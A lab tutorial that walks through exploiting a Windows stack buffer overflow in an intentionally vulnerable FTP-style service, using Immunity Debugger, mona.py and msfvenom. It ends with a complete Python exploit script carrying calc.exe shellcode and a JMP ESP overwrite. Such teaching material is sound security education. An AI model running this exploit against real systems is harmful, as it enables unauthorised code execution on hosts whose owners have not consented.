This tutorial walks through exploiting a stack buffer overflow in a Windows application. We’ll use Immunity Debugger with mona.py to find the offset, locate a JMP ESP gadget, identify bad characters, and execute shellcode.
Note
Lab Setup
- Target: You’ll need a vulnerable application that accepts network input and crashes on oversized input. Typical choices include SLMail, Vulnserver, or similar intentionally vulnerable software running on a Windows VM.
- Debugger: Immunity Debugger with mona.py installed.
- Configure mona working directory:
!mona config -set workingfolder c:\mona\%p- Windows version: Prefer Windows 7 or earlier for learning, as newer versions include additional mitigations (ASLR, DEP enabled by default).
Tools Required
- Immunity Debugger: Windows debugger for exploit development
- mona.py: Plugin for Immunity Debugger
- Python 3: For exploit scripts
- msfvenom: For shellcode generation
Exploit Skeleton
Start with a basic network exploit template:
#!/usr/bin/env python3
import socket
buffer = b"A" * 1000
print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")Finding the Offset
Confirm the Crash
Run the skeleton and observe EIP (Extended Instruction Pointer) — the register that holds the address of the next instruction to execute:
EIP: 0x41414141EIP is overwritten with our ‘A’ characters.
Create Pattern
In Immunity Debugger, first configure the mona working directory (if you haven’t already):
!mona config -set workingfolder c:\mona\%pThen generate the pattern:
!mona pattern_create 1000This creates pattern.txt in the mona working directory.
Find Offset
After crashing with the pattern, note EIP value:
EIP: 69413269Calculate the offset:
!mona pattern_offset 69413269Pattern i2Ai (0x69413269) found at position 247Verify Control
buffer = b"A" * 247
buffer += b"BBBB" # EIP
buffer += b"C" * 749 # Remaining spaceAfter running:
EIP: 42424242
ESP -> "CCCCCCCC..."We control EIP, and ESP (Extended Stack Pointer) — the register that points to the top of the stack — points to our C buffer.
Stack Frame During Overflow
Stack Growth
(high -> low)
+---------------------------+
| Caller's Frame |
+---------------------------+
| Saved EIP (return addr) | <-- Offset 247
+---------------------------+
| Saved EBP |
+---------------------------+
| |
| Local Buffer (247 B) |
| |
+---------------------------+
| ... |
+---------------------------+ <-- ESP
After overflow:
+---------------------------+
| Caller's Frame |
+---------------------------+
| BBBB (EIP overwrite) | <-- We control this
+---------------------------+
| AAAA... (junk) |
+---------------------------+
| |
| AAAA... (247 bytes) |
| |
+---------------------------+
| ... |
+---------------------------+ <-- ESP -> "CCCC..."When the function returns, the CPU pops our BBBB value into EIP and ESP advances to point at the C buffer. By placing a JMP ESP address where BBBB is, execution jumps into the data we control after the return address.
Finding JMP ESP
Since ESP points to data after EIP, we need a JMP ESP instruction to redirect execution.
!mona jmp -r ESPResults show addresses from various DLLs. Choose one without null bytes and from a module without ASLR (Address Space Layout Randomization) — which randomizes the base addresses of loaded modules — or SafeSEH — a compiler-level protection that validates exception handler addresses against a whitelist:
0x77e2d9d3 : jmp esp | ADVAPI32.dll
ASLR: False, Rebase: False, SafeSEH: FalseTesting Execution Flow
Add NOPs and INT3
buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77" # JMP ESP (little endian)
buffer += b"\x90" * 20 # NOP sled
buffer += b"\xcc" * (749 - 20) # INT3 breakpointsAfter running, the debugger should break on INT3, confirming code execution on the stack.
Identifying Bad Characters
Generate Test String
Create a byte array with all characters except null:
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)Send and Analyze
buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77"
buffer += b"\x90" * 20
buffer += b"\xcc"
buffer += badchars
buffer += b"C" * (749 - 20 - 1 - len(badchars))Examine the stack in memory. Look for missing or corrupted bytes:
- If truncated at
\x0a- newline is bad (common for FTP) - If truncated at
\x0d- carriage return is bad - If bytes are missing in sequence - they’re bad characters
To verify bad characters: after sending a payload with all possible byte values (0x01-0xFF), right-click ESP in Immunity Debugger and select ‘Follow in Dump’. Compare the hex dump byte-by-byte against the expected sequence — any missing, replaced, or truncated bytes are bad characters that must be excluded from your shellcode.
Common Bad Characters
For FTP servers:
\x00- Null (always bad)\x0a- Newline\x0d- Carriage return
Generating Shellcode
msfvenom -p windows/exec cmd=calc.exe \
exitfunc=thread \
-b "\x00\x0a\x0d" \
-f cunsigned char shellcode[] =
"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
...
"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64";Complete Exploit
#!/usr/bin/env python3
import socket
shellcode = (
b"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
b"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
b"\x88\x3d\x5b\x87\x01\xd8\x6a\x87\x76\xa8\xdc\x37\xfc\xfc\xd0"
b"\xbc\x50\x15\x63\xb0\x7c\x1a\xc4\x7f\x5b\x15\xd5\x2c\x9f\x34"
b"\x55\x2f\xcc\x96\x64\xe0\x01\xd6\xa1\x1d\xeb\x8a\x7a\x69\x5e"
b"\x3b\x0f\x27\x63\xb0\x43\xa9\xe3\x25\x13\xc8\xc2\xfb\x28\x93"
b"\xc4\xfa\xfd\xaf\x4c\xe5\xe2\x8a\x07\x9e\xd0\x61\x96\x76\x29"
b"\x89\x35\xb7\x86\x78\x47\xff\x20\x63\x32\x09\x53\x1e\x45\xce"
b"\x2e\xc4\xc0\xd5\x88\x8f\x73\x32\x29\x43\xe5\xb1\x25\x28\x61"
b"\x9d\x29\xaf\xa6\x95\x55\x24\x49\x7a\xdc\x7e\x6e\x5e\x85\x25"
b"\x0f\xc7\x63\x8b\x30\x17\xcc\x74\x95\x53\xe0\x61\xa4\x39\x6e"
b"\x77\x3a\x44\xdc\x77\x44\x47\x70\x10\x75\xcc\x1f\x67\x8a\x07"
b"\x64\x87\x68\x82\x90\x20\x35\x47\x19\x2d\xc6\xbd\x5d\x48\x45"
b"\x34\x1d\xaf\x55\x3d\x18\xeb\xd1\xad\x50\x64\xb4\xd1\xc7\x85"
b"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64"
)
buffer = b"A"*247
buffer += b"\xd3\xd9\xe2\x77" # JMP ESP
buffer += b"\x90"*20 # NOP sled
buffer += shellcode
buffer += b"C"*(749-20-len(shellcode))
print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")Buffer Layout
Low Address High Address
| |
v v
+-------+------+------+-----------+------+
| Junk | EIP | NOPs | Shellcode | Pad |
| 247 B | 4 B | 20 B | ~220 B | Rest |
+-------+------+------+-----------+------+
| ^
| | ESP points here after
| | function returns
v |
JMP ESP ----+
(from a loaded DLL)
Execution flow:
1. ret -> pops EIP = JMP ESP addr
2. ESP -> now points past saved EIP
3. JMP ESP -> jumps to NOP sled
4. NOPs -> slide into shellcode
5. Shellcode executesKey Concepts
Why JMP ESP?
After ret executes:
- EIP is popped from stack
- ESP now points to data after EIP
- JMP ESP redirects execution to ESP
NOP Sled Purpose
- Provides a safe landing zone
- Absorbs minor address variations
- Encoded shellcode sometimes needs decoder space
exitfunc=thread
Using thread exit function keeps the process running after shellcode. Use process to exit the entire application.
Where This Stops Working
This exploit rested on two assumptions that modern targets break. First, it overwrote the saved return address directly, which a compiler-inserted stack cookie (canary) detects: the cookie is checked in the function epilogue, and a mismatch aborts the process before ret ever runs. Second, it executed shellcode straight off the stack, which DEP forbids by marking the stack non-executable.
The next two rungs answer these in turn. Windows SEH Overflow Exploitation sidesteps the stack cookie by exploiting that epilogue timing: the cookie is only verified when a function returns normally, so corrupting an exception-handler record on the stack and then triggering a fault transfers control through exception dispatch before the return check ever runs. This is a classic, lab-era path. Modern mitigations defend it (SafeSEH validates the handler against a registered list, SEHOP validates the chain’s integrity), which is why the SEH tutorial works from a module compiled without them. After that, Bypassing DEP with ROP deals with the non-executable stack by building the payload out of existing code instead of injecting new code.
Troubleshooting
Shellcode Doesn’t Execute
- Check for additional bad characters
- Increase NOP sled size
- Verify JMP ESP address is correct
- Ensure DEP (Data Execution Prevention) is disabled — DEP prevents code execution from data regions like the stack
Access Violation
- JMP ESP address may contain bad chars
- Find alternative address from another module
- Check if ASLR is affecting the address